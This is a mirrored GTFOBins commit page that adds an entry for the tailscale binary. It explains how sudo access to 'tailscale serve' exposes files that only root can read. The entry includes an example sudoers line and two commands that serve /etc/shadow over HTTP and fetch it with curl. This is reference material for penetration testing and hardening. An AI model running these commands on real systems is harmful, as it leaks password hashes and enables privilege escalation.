mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2025-12-27 18:51:41 +01:00
Merge bfd71131697737345792367bb955e3129cbf6569 into b29f2cfde1c72e4ea5191e49604e923bbda98461
This commit is contained in:
commit
6c7c20a077
26
_gtfobins/tailscale.md
Normal file
26
_gtfobins/tailscale.md
Normal file
@ -0,0 +1,26 @@
|
||||
---
|
||||
description: |
|
||||
If the `tailscale` binary is allowed via `sudo`, it can be abused to read arbitrary root-readable files
|
||||
using the `serve` subcommand. This launches an HTTP server (accessible within the same Tailnet)
|
||||
that exposes the specified file without further access control.
|
||||
|
||||
functions:
|
||||
sudo:
|
||||
- description: |
|
||||
If the user can run `/usr/bin/tailscale` as root via `sudo`, they can serve and read any file
|
||||
accessible by root. The file becomes reachable via a Tailscale-assigned domain over HTTP.
|
||||
|
||||
Example `sudoers` entry:
|
||||
```
|
||||
ray ALL=(ALL) NOPASSWD: /usr/bin/tailscale
|
||||
```
|
||||
|
||||
Example exploitation:
|
||||
```
|
||||
sudo tailscale serve --http=8888 /etc/shadow
|
||||
curl http://<hostname>.<tailnet>.ts.net:8888/
|
||||
```
|
||||
code: |
|
||||
sudo tailscale serve --http=8888 /etc/shadow
|
||||
curl http://<hostname>.<tailnet>.ts.net:8888/
|
||||
---
|
||||
Loading…
Reference in New Issue
Block a user